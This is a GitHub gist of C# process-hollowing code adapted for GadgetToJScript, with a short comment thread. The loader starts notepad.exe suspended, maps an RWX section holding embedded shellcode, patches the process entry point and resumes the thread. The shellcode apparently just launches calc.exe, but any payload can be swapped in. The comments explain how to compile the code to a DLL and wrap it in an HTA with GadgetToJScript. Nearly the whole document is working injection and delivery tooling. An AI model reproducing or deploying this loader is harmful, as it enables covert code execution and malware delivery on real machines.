Last active
November 4, 2021 12:49
-
-
Save med0x2e/d55a35106a02b04ef68c6c230a317688 to your computer and use it in GitHub Desktop.
Process Hollowing (slightly updated to work with G2JS) - credits for the initial code go to @smgorelik and @ambray
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Collections.Generic; | |
using System.Runtime.InteropServices; | |
using System.Text; | |
namespace Hollowing | |
{ | |
public class Loader | |
{ | |
public static byte[] target_ = Encoding.ASCII.GetBytes("calc.exe"); | |
public static string HollowedProcessX85 = "C:\\Windows\\SysWOW64\\notepad.exe"; | |
[StructLayout(LayoutKind.Sequential)] | |
public struct PROCESS_INFORMATION | |
{ | |
public IntPtr hProcess; | |
public IntPtr hThread; | |
public int dwProcessId; | |
public int dwThreadId; | |
} | |
[StructLayout(LayoutKind.Sequential)] | |
internal struct PROCESS_BASIC_INFORMATION | |
{ | |
public IntPtr Reserved1; | |
public IntPtr PebAddress; | |
public IntPtr Reserved2; | |
public IntPtr Reserved3; | |
public IntPtr UniquePid; | |
public IntPtr MoreReserved; | |
} | |
[StructLayout(LayoutKind.Sequential)] | |
internal struct STARTUPINFO | |
{ | |
uint cb; | |
IntPtr lpReserved; | |
IntPtr lpDesktop; | |
IntPtr lpTitle; | |
uint dwX; | |
uint dwY; | |
uint dwXSize; | |
uint dwYSize; | |
uint dwXCountChars; | |
uint dwYCountChars; | |
uint dwFillAttributes; | |
uint dwFlags; | |
ushort wShowWindow; | |
ushort cbReserved; | |
IntPtr lpReserved2; | |
IntPtr hStdInput; | |
IntPtr hStdOutput; | |
IntPtr hStdErr; | |
} | |
public const uint PageReadWriteExecute = 0x40; | |
public const uint PageReadWrite = 0x04; | |
public const uint PageExecuteRead = 0x20; | |
public const uint MemCommit = 0x00001000; | |
public const uint SecCommit = 0x08000000; | |
public const uint GenericAll = 0x10000000; | |
public const uint CreateSuspended = 0x00000004; | |
public const uint DetachedProcess = 0x00000008; | |
public const uint CreateNoWindow = 0x08000000; | |
[DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)] | |
private static extern int ZwCreateSection(ref IntPtr section, uint desiredAccess, IntPtr pAttrs, ref LARGE_INTEGER pMaxSize, uint pageProt, uint allocationAttribs, IntPtr hFile); | |
[DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)] | |
private static extern int ZwMapViewOfSection(IntPtr section, IntPtr process, ref IntPtr baseAddr, IntPtr zeroBits, IntPtr commitSize, IntPtr stuff, ref IntPtr viewSize, int inheritDispo, uint alloctype, uint prot); | |
[DllImport("Kernel32.dll", CallingConvention = CallingConvention.StdCall)] | |
private static extern void GetSystemInfo(ref SYSTEM_INFO lpSysInfo); | |
[DllImport("Kernel32.dll", CallingConvention = CallingConvention.StdCall)] | |
private static extern IntPtr GetCurrentProcess(); | |
[DllImport("Kernel32.dll", CallingConvention = CallingConvention.StdCall)] | |
private static extern void CloseHandle(IntPtr handle); | |
[DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)] | |
private static extern int ZwUnmapViewOfSection(IntPtr hSection, IntPtr address); | |
[DllImport("Kernel32.dll", SetLastError = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] | |
private static extern bool CreateProcess(IntPtr lpApplicationName, string lpCommandLine, IntPtr lpProcAttribs, IntPtr lpThreadAttribs, bool bInheritHandles, uint dwCreateFlags, IntPtr lpEnvironment, IntPtr lpCurrentDir, [In] ref STARTUPINFO lpStartinfo, out PROCESS_INFORMATION lpProcInformation); | |
[DllImport("kernel32.dll")] | |
static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, IntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); | |
[DllImport("kernel32.dll", SetLastError = true)] | |
private static extern uint ResumeThread(IntPtr hThread); | |
[DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)] | |
private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation, uint ProcInfoLen, ref uint retlen); | |
[DllImport("kernel32.dll", SetLastError = true)] | |
static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead); | |
[DllImport("kernel32.dll", SetLastError = true, CallingConvention = CallingConvention.StdCall)] | |
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, IntPtr nSize, out IntPtr lpNumWritten); | |
[DllImport("kernel32.dll")] | |
static extern uint GetLastError(); | |
[StructLayout(LayoutKind.Sequential)] | |
public struct SYSTEM_INFO | |
{ | |
public uint dwOem; | |
public uint dwPageSize; | |
public IntPtr lpMinAppAddress; | |
public IntPtr lpMaxAppAddress; | |
public IntPtr dwActiveProcMask; | |
public uint dwNumProcs; | |
public uint dwProcType; | |
public uint dwAllocGranularity; | |
public ushort wProcLevel; | |
public ushort wProcRevision; | |
} | |
[StructLayout(LayoutKind.Sequential, Pack = 1)] | |
public struct LARGE_INTEGER | |
{ | |
public uint LowPart; | |
public int HighPart; | |
} | |
static IntPtr section_; | |
static IntPtr localmap_; | |
static IntPtr remotemap_; | |
static IntPtr localsize_; | |
static IntPtr remotesize_; | |
static IntPtr pModBase_; | |
static IntPtr pEntry_; | |
static uint rvaEntryOffset_; | |
static uint size_; | |
static byte[] inner_; | |
public static uint round_to_page(uint size) | |
{ | |
SYSTEM_INFO info = new SYSTEM_INFO(); | |
GetSystemInfo(ref info); | |
return (info.dwPageSize - size % info.dwPageSize) + size; | |
} | |
const int AttributeSize = 24; | |
private static bool nt_success(long v) | |
{ | |
return (v >= 0); | |
} | |
public static IntPtr GetCurrent() | |
{ | |
return GetCurrentProcess(); | |
} | |
/*** | |
* Maps a view of the current section into the process specified in procHandle. | |
*/ | |
public static KeyValuePair<IntPtr, IntPtr> MapSection(IntPtr procHandle, uint protect, IntPtr addr) | |
{ | |
IntPtr baseAddr = addr; | |
IntPtr viewSize = (IntPtr)size_; | |
long status = ZwMapViewOfSection(section_, procHandle, ref baseAddr, (IntPtr)0, (IntPtr)0, (IntPtr)0, ref viewSize, 1, 0, protect); | |
if (!nt_success(status)) | |
throw new SystemException("[x] Something went wrong! " + status); | |
return new KeyValuePair<IntPtr, IntPtr>(baseAddr, viewSize); | |
} | |
/*** | |
* Attempts to create an RWX section of the given size | |
*/ | |
public static bool CreateSection(uint size) | |
{ | |
LARGE_INTEGER liVal = new LARGE_INTEGER(); | |
size_ = round_to_page(size); | |
liVal.LowPart = size_; | |
long status = ZwCreateSection(ref section_, GenericAll, (IntPtr)0, ref liVal, PageReadWriteExecute, SecCommit, (IntPtr)0); | |
return nt_success(status); | |
} | |
/*** | |
* Maps a view of the section into the current process | |
*/ | |
public static void SetLocalSection(uint size) | |
{ | |
KeyValuePair<IntPtr, IntPtr> vals = MapSection(GetCurrent(), PageReadWriteExecute, IntPtr.Zero); | |
if (vals.Key == (IntPtr)0) | |
throw new SystemException("[x] Failed to map view of section!"); | |
localmap_ = vals.Key; | |
localsize_ = vals.Value; | |
} | |
/*** | |
* Copies the shellcode buffer into the section | |
*/ | |
public static void CopyShellcode(byte[] buf) | |
{ | |
long lsize = size_; | |
if (buf.Length > lsize) | |
throw new IndexOutOfRangeException("[x] Shellcode buffer is too long!"); | |
unsafe | |
{ | |
byte* p = (byte*)localmap_; | |
for (int i = 0; i < buf.Length; i++) | |
{ | |
p[i] = buf[i]; | |
} | |
} | |
} | |
/*** | |
* Create a new process using the binary located at "path", starting up suspended. | |
*/ | |
public static PROCESS_INFORMATION StartProcess(string path) | |
{ | |
STARTUPINFO startInfo = new STARTUPINFO(); | |
PROCESS_INFORMATION procInfo = new PROCESS_INFORMATION(); | |
uint flags = CreateSuspended;// | DetachedProcess | CreateNoWindow; | |
if (!CreateProcess((IntPtr)0, path, (IntPtr)0, (IntPtr)0, false, flags, (IntPtr)0, (IntPtr)0, ref startInfo, out procInfo)) | |
throw new SystemException("[x] Failed to create process!"); | |
return procInfo; | |
} | |
const ulong PatchSize = 0x10; | |
/*** | |
* Constructs the shellcode patch for the new process entry point. It will build either an x86 or x64 payload based | |
* on the current pointer size. | |
* Ultimately, we will jump to the shellcode payload | |
*/ | |
public static KeyValuePair<int, IntPtr> BuildEntryPatch(IntPtr dest) | |
{ | |
int i = 0; | |
IntPtr ptr; | |
ptr = Marshal.AllocHGlobal((IntPtr)PatchSize); | |
unsafe | |
{ | |
byte* p = (byte*)ptr; | |
byte[] tmp = null; | |
if (IntPtr.Size == 4) | |
{ | |
p[i] = 0xb8; // mov eax, <imm4> | |
i++; | |
Int32 val = (Int32)dest; | |
tmp = BitConverter.GetBytes(val); | |
} | |
else | |
{ | |
p[i] = 0x48; // rex | |
i++; | |
p[i] = 0xb8; // mov rax, <imm8> | |
i++; | |
Int64 val = (Int64)dest; | |
tmp = BitConverter.GetBytes(val); | |
} | |
for (int j = 0; j < IntPtr.Size; j++) | |
p[i + j] = tmp[j]; | |
i += IntPtr.Size; | |
p[i] = 0xff; | |
i++; | |
p[i] = 0xe0; // jmp [r|e]ax | |
i++; | |
} | |
return new KeyValuePair<int, IntPtr>(i, ptr); | |
} | |
/** | |
* We will locate the entry point for the main module in the remote process for patching. | |
*/ | |
private static IntPtr GetEntryFromBuffer(byte[] buf) | |
{ | |
IntPtr res = IntPtr.Zero; | |
unsafe | |
{ | |
fixed (byte* p = buf) | |
{ | |
uint e_lfanew_offset = *((uint*)(p + 0x3c)); // e_lfanew offset in IMAGE_DOS_HEADERS | |
byte* nthdr = (p + e_lfanew_offset); | |
byte* opthdr = (nthdr + 0x18); // IMAGE_OPTIONAL_HEADER start | |
ushort t = *((ushort*)opthdr); | |
byte* entry_ptr = (opthdr + 0x10); // entry point rva | |
int tmp = *((int*)entry_ptr); | |
rvaEntryOffset_ = (uint)tmp; | |
// rva -> va | |
if (IntPtr.Size == 4) | |
res = (IntPtr)(pModBase_.ToInt32() + tmp); | |
else | |
res = (IntPtr)(pModBase_.ToInt64() + tmp); | |
} | |
} | |
pEntry_ = res; | |
return res; | |
} | |
/** | |
* Locate the module base addresss in the remote process, | |
* read in the first page, and locate the entry point. | |
*/ | |
public static IntPtr FindEntry(IntPtr hProc) | |
{ | |
PROCESS_BASIC_INFORMATION basicInfo = new PROCESS_BASIC_INFORMATION(); | |
uint tmp = 0; | |
long success = ZwQueryInformationProcess(hProc, 0, ref basicInfo, (uint)(IntPtr.Size * 6), ref tmp); | |
if (!nt_success(success)) | |
throw new SystemException("[x] Failed to get process information!"); | |
IntPtr readLoc = IntPtr.Zero; | |
byte[] addrBuf = new byte[IntPtr.Size]; | |
if (IntPtr.Size == 4) | |
{ | |
readLoc = (IntPtr)((Int32)basicInfo.PebAddress + 8); | |
} | |
else | |
{ | |
readLoc = (IntPtr)((Int64)basicInfo.PebAddress + 16); | |
} | |
IntPtr nRead = IntPtr.Zero; | |
if (!ReadProcessMemory(hProc, readLoc, addrBuf, addrBuf.Length, out nRead) || nRead == IntPtr.Zero) | |
throw new SystemException("[x] Failed to read process memory!"); | |
if (IntPtr.Size == 4) | |
readLoc = (IntPtr)(BitConverter.ToInt32(addrBuf, 0)); | |
else | |
readLoc = (IntPtr)(BitConverter.ToInt64(addrBuf, 0)); | |
pModBase_ = readLoc; | |
if (!ReadProcessMemory(hProc, readLoc, inner_, inner_.Length, out nRead) || nRead == IntPtr.Zero) | |
throw new SystemException("[x] Failed to read module start!"); | |
return GetEntryFromBuffer(inner_); | |
} | |
/** | |
* Map our shellcode into the remote (suspended) process, | |
* locate and patch the entry point (so our code will run instead of | |
* the original application), and resume execution. | |
*/ | |
public static void MapAndStart(PROCESS_INFORMATION pInfo) | |
{ | |
KeyValuePair<IntPtr, IntPtr> tmp = MapSection(pInfo.hProcess, PageReadWriteExecute, IntPtr.Zero); | |
if (tmp.Key == (IntPtr)0 || tmp.Value == (IntPtr)0) | |
throw new SystemException("[x] Failed to map section into target process!"); | |
remotemap_ = tmp.Key; | |
remotesize_ = tmp.Value; | |
KeyValuePair<int, IntPtr> patch = BuildEntryPatch(tmp.Key); | |
try | |
{ | |
IntPtr pSize = (IntPtr)patch.Key; | |
IntPtr tPtr = new IntPtr(); | |
if (!WriteProcessMemory(pInfo.hProcess, pEntry_, patch.Value, pSize, out tPtr) || tPtr == IntPtr.Zero) | |
throw new SystemException("[x] Failed to write patch to start location! " + GetLastError()); | |
} | |
finally | |
{ | |
if (patch.Value != IntPtr.Zero) | |
Marshal.FreeHGlobal(patch.Value); | |
} | |
byte[] tbuf = new byte[0x1000]; | |
IntPtr nRead = new IntPtr(); | |
if (!ReadProcessMemory(pInfo.hProcess, pEntry_, tbuf, 1024, out nRead)) | |
throw new SystemException("Failed!"); | |
uint res = ResumeThread(pInfo.hThread); | |
if (res == unchecked((uint)-1)) | |
throw new SystemException("[x] Failed to restart thread!"); | |
} | |
public IntPtr GetBuffer() | |
{ | |
return localmap_; | |
} | |
~Loader() | |
{ | |
if (localmap_ != (IntPtr)0) | |
ZwUnmapViewOfSection(section_, localmap_); | |
} | |
/** | |
* Given a path to a binary and a buffer of shellcode, | |
* 1.) start a new (supended) process | |
* 2.) map a view of our shellcode buffer into it | |
* 3.) patch the original process entry point | |
* 4.) resume execution | |
*/ | |
public static void Load(string targetProcess, byte[] shellcode) | |
{ | |
PROCESS_INFORMATION pinf = StartProcess(targetProcess); | |
FindEntry(pinf.hProcess); | |
if (!CreateSection((uint)shellcode.Length)) | |
throw new SystemException("[x] Failed to create new section!"); | |
SetLocalSection((uint)shellcode.Length); | |
CopyShellcode(shellcode); | |
MapAndStart(pinf); | |
CloseHandle(pinf.hThread); | |
CloseHandle(pinf.hProcess); | |
} | |
public Loader() | |
{ | |
section_ = new IntPtr(); | |
localmap_ = new IntPtr(); | |
remotemap_ = new IntPtr(); | |
localsize_ = new IntPtr(); | |
remotesize_ = new IntPtr(); | |
inner_ = new byte[0x1000]; // Reserve a page of scratch space | |
byte[] shellcode = new byte[184] { | |
0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30, | |
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff, | |
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52, | |
0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1, | |
0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b, | |
0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03, | |
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, | |
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24, | |
0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb, | |
0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f, | |
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5, | |
0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a, | |
0x00,0x53,0xff,0xd5 }; | |
byte[] finalshellcode = new byte[shellcode.Length + target_.Length + 1]; | |
Array.Copy(shellcode, finalshellcode, shellcode.Length); | |
Array.Copy(target_, 0, finalshellcode, shellcode.Length, target_.Length); | |
finalshellcode[shellcode.Length + target_.Length] = 0; | |
try | |
{ | |
Load(HollowedProcessX85, finalshellcode); | |
} | |
catch (Exception e) | |
{ | |
Console.WriteLine("[x] Something went wrong!" + e.Message); | |
} | |
} | |
} | |
} |
i mean i've compiled this project to .dll , how i can execute it ?
Just pass it to GadgetToJScript as an argument;
GadgetToJScript.NET4.x.exe -b -w hta -a C:\YOUR_DLL.dll -o testhta
OR
GadgetToJScript.NET3.5.exe -r -w hta -a C:\YOUR_DLL.dll -o testhta
oh ok thanks
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
The default constructor "public Loader()" (when used with g2js serialized gadget ofc).